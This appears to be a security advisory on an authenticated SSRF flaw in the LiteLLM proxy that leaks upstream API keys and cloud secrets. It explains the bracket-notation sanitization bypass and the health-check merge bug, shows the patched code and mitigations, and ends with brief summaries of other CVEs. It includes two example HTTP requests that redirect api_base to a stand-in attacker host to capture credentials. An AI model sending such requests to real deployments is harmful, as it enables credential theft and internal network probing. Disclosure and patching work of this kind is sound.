Sep 30, 2026·6 min read·7 visits
Authenticated users can trigger SSRF and force LiteLLM to forward administrative API keys and cloud secrets to attacker-controlled servers via parameter manipulation.
An authenticated Server-Side Request Forgery (SSRF) and credential exfiltration vulnerability exists in LiteLLM proxy prior to versions 1.88.6 and 1.96.2. By bypassing sanitization logic through nested form-data parameters or using connection health checks, authenticated users can redirect outbound API calls to arbitrary endpoints, exposing sensitive upstream administrative credentials.
LiteLLM operates as an intermediate AI gateway, managing outbound API calls to diverse model providers such as OpenAI, Anthropic, Cohere, Vertex AI, AWS Bedrock, and Azure OpenAI. To simplify client-side key management, the proxy is typically pre-loaded with administrative upstream API credentials. Callers authenticate to the LiteLLM proxy using low-privilege, proxy-specific keys, and the proxy translates and maps their requests to the configured provider models, executing the remote call using its own administrative secrets.
The core vulnerability resides within the request validation and input parsing logic of the LiteLLM proxy. Under specific conditions, an authenticated user can supply unvalidated routing parameters within the HTTP request body. This allows the user to perform Server-Side Request Forgery (SSRF) and force the proxy to redirect outbound LLM API calls to an arbitrary, attacker-controlled destination.
During this redirection, the proxy automatically appends and forwards its pre-configured, high-privilege upstream provider credentials (including raw API keys, bearer tokens, and cloud environment credentials) to the external destination. This flaw bypasses the proxy's input sanitization and isolation bounds, allowing complete exfiltration of configured upstream credentials.
The vulnerability stems from two independent validation and data-merging failures in the proxy's codebase. The first occurs within the request body sanitization mechanism, which is responsible for blocking clients from overriding configured backend endpoints. The validation routine searches incoming request bodies for a predefined blocklist of routing and configuration keys, such as api_base, base_url, model_list, fallbacks, and litellm_credential_name.
However, the validation check failed to inspect multipart form-data parsed using bracket notation. Standard PHP-like or Rack-like bracket array parameters, such as litellm_metadata[api_base], were treated as harmless strings at the top-level request dictionary during the initial sanitization pass. Downstream, when the library deserialized this bracketed key into the active request context, it overrode the target api_base variable. This allowed attackers to bypass the flat input validation check and control the endpoint destination.
The second failure occurs within the model health-check endpoint (test_model_connection). To verify connection health, this endpoint merges proxy configuration parameters (config_litellm_params) with user-provided override parameters (request_litellm_params) using a dictionary unpacking operation ({**config_litellm_params, **request_litellm_params}). Because of this flat merge, an authenticated client can supply a custom api_base pointing to an attacker-controlled endpoint. The proxy then executes the validation connection using the user-provided endpoint while automatically inserting the loaded administrative API keys or credentials into the outgoing request.
The original vulnerability exists due to inadequate parameter validation inside litellm/proxy/auth/auth_utils.py and structural validation gaps in litellm/proxy/common_request_processing.py. In auth_utils.py, the validation loop analyzed the request body dictionary but did not handle nested form data or bracket patterns.
# Vulnerable logic in is_request_body_safe prior to patch
metadata = _coerce_metadata_to_dict(request_body.get(metadata_key))
if metadata is not None:
_check_banned_params(metadata, general_settings, llm_router, model)The patch resolved this by parsing nested metadata properties explicitly and passing the output to the _check_banned_params function:
# Patched implementation in auth_utils.py
metadata = _coerce_metadata_to_dict(request_body.get(metadata_key))
if metadata is not None:
_check_banned_params(metadata, general_settings, llm_router, model)
if any(
isinstance(key, str) and key.startswith(f"{metadata_key}[")
for key in request_body
):
_check_banned_params(
extract_nested_form_metadata(
form_data=request_body, prefix=f"{metadata_key}["
),
general_settings,
llm_router,
model,
)Additionally, the patch introduced the reject_url_valued_destination function in litellm/proxy/litellm_pre_call_utils.py to prevent attackers from smuggling destination URLs inside the model parameter. If the model parameter contains a scheme (http:// or https://), the request is rejected unless the host belongs to an administrative allowlist:
def reject_url_valued_destination(field: str, value: str) -> None:
allowed_hosts = getattr(litellm, "provider_url_destination_allowed_hosts", []) or []
for candidate in provider_url_destination_candidates(value):
if not candidate.lower().startswith(("http://", "https://")):
continue
if is_url_destination_allowed_by_host(candidate, allowed_hosts):
continue
raise HTTPException(
status_code=400,
detail={
"error": "invalid_request",
"param": field,
"message": f"URL-valued '{field}' is not allowed."
},
)Exploitation of this vulnerability requires valid authentication credentials to the LiteLLM proxy, but only needs low-privilege access. An attacker can construct a payload designed to exploit either the bracket-notation bypass or the health-check validation loop.
In the bracket-notation scenario, the attacker issues a form-encoded POST request targeting the completion endpoint. By nesting the forbidden api_base parameter within the bracket representation of litellm_metadata, the attacker forces the underlying proxy client to execute the connection to the custom listener:
POST /chat/completions HTTP/1.1
Host: litellm-proxy.target
Authorization: Bearer sk-low-privilege-attacker-key
Content-Type: application/x-www-form-urlencoded
model=gpt-4&litellm_metadata[api_base]=http://attacker-controlled-server.com/v1In the health-check scenario, the attacker calls the /test_model_connection endpoint. The attacker targets a specific pre-configured model deployment and provides an override structure for the api_base configuration property:
POST /test_model_connection HTTP/1.1
Host: litellm-proxy.target
Authorization: Bearer sk-low-privilege-attacker-key
Content-Type: application/json
{
"model": "azure-gpt-4",
"api_base": "http://attacker-controlled-server.com/v1"
}When processing either request, the backend establishes a connection to http://attacker-controlled-server.com/v1. The proxy forwards the operational upstream authorization headers, such as the OpenAI API key, Azure secret key, or AWS access tokens, allowing the attacker to harvest them on the receiving server.
The potential impact of this vulnerability is critical. An attacker with a low-privilege API key to the LiteLLM gateway can compromise the absolute confidentiality of the administrative upstream API keys and cloud services. This breaks the security boundary of the proxy deployment, rendering the credential manager ineffective.
Once obtained, the administrative credentials can be used outside the proxy context. Attackers can execute arbitrary API queries directly against upstream providers, bypassing rate limits, cost policies, and auditing logs set up inside LiteLLM. For integrations using cloud providers like AWS or Azure, the exfiltration of IAM access keys or Azure client secrets can lead to deeper lateral movement within the associated cloud organization.
Additionally, because the proxy can initiate requests to internal endpoints, this vulnerability functions as an authenticated internal SSRF. An attacker can use the proxy to map, probe, and attack local services (e.g., cloud metadata services, databases, internal Kubernetes services) that are inaccessible from the open internet.
To fully address this vulnerability, administrators must update LiteLLM immediately to the patched versions. For installations running the LTS branch, upgrade to 1.88.6 or higher. For installations on the mainline development branch, upgrade to 1.96.2 or higher.
In environments where immediate patching is not possible, network-level egress filtering must be enforced on the host running the LiteLLM container. Configure firewall rules or security groups to drop all outbound traffic originating from the LiteLLM host to unauthorized destination addresses. Traffic should only be allowed to resolved, domain-allowlisted upstream LLM gateways (such as api.openai.com and api.anthropic.com) and blocked from accessing internal IP addresses (RFC 1918 blocks).
Additionally, enable host-level validation in the proxy settings using the provider_url_destination_allowed_hosts configuration setting. Ensure this config specifies only trusted upstream domain addresses, preventing connections to unlisted external nodes.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LiteLLM BerriAI | < 1.88.6 | 1.88.6 |
LiteLLM BerriAI | >= 1.89.0, < 1.96.2 | 1.96.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS | 6.5 |
| EPSS Score | 0.0054 (0.54%) |
| Impact | Server-Side Request Forgery & Credential Exfiltration |
| Exploit Status | Proof of Concept available |
| KEV Status | Not listed |
The web server receives a URL or similar vector from an upstream request and does not sufficiently sanitize the destination, permitting unauthorized requests to arbitrary locations.
An input validation vulnerability in the virtualenv package allows local execution hijacking via configuration injection. When generating the pyvenv.cfg configuration file, user-controlled parameters such as prompt options are written verbatim without sanitizing line-boundary sequences. This allows attackers to inject arbitrary configuration options, causing the tool to read malicious base interpreter paths.
CVE-2026-102930 is a high-severity supply chain vulnerability in virtualenv prior to version 21.7.12. The download_wheel() function lacks integrity checks when dynamically fetching seed packages (such as pip or setuptools) over the network. This allows an attacker to intercept the network stream, replace packages with backdoored components, and achieve arbitrary code execution inside newly spawned virtual environments.
An algorithmic complexity vulnerability in the `league/commonmark` library's GitHub Flavored Markdown (GFM) Table extension allows remote, unauthenticated attackers to cause a Denial of Service (DoS) via high CPU consumption. By submitting a specially crafted Markdown payload containing an extremely long paragraph without letter characters or pipe symbols, the parser executes a quadratic-time $O(N^2)$ scanning operation that exhausts system resources.
CVE-2026-91776 is a high-severity Denial of Service (DoS) vulnerability in the FasterXML jackson-databind library. The vulnerability is caused by uncontrolled resource consumption (CWE-400) where raw, unrecognized polymorphic type IDs are cached indefinitely without boundaries inside TypeDeserializerBase. When name-based polymorphic deserialization is configured with a fallback mechanism (such as a default implementation or custom problem handlers), remote attackers can send crafted payloads containing unique unknown type IDs, causing heap exhaustion, Garbage Collection (GC) overhead limit exhaustion, and an Out-of-Memory (OOM) crash.
An uncontrolled resource consumption vulnerability in FasterXML jackson-databind allows remote unauthenticated attackers to cause a Denial of Service (DoS) via crafted JSON payloads containing out-of-order forward references in identity-enabled collections or maps.
A security vulnerability in league/commonmark versions 1.3.0 through 2.10.1 allows remote attackers to bypass Stored Cross-Site Scripting (XSS) protections in the DisallowedRawHtml extension. Due to an validation logic flaw in the regular expression parser, specifically handling bare, unclosed HTML blocks ending at the string boundary, raw HTML tags can be passed to the rendered output. When combined with browser-side parsing heuristics, an attacker can execute arbitrary JavaScript in the context of the user session.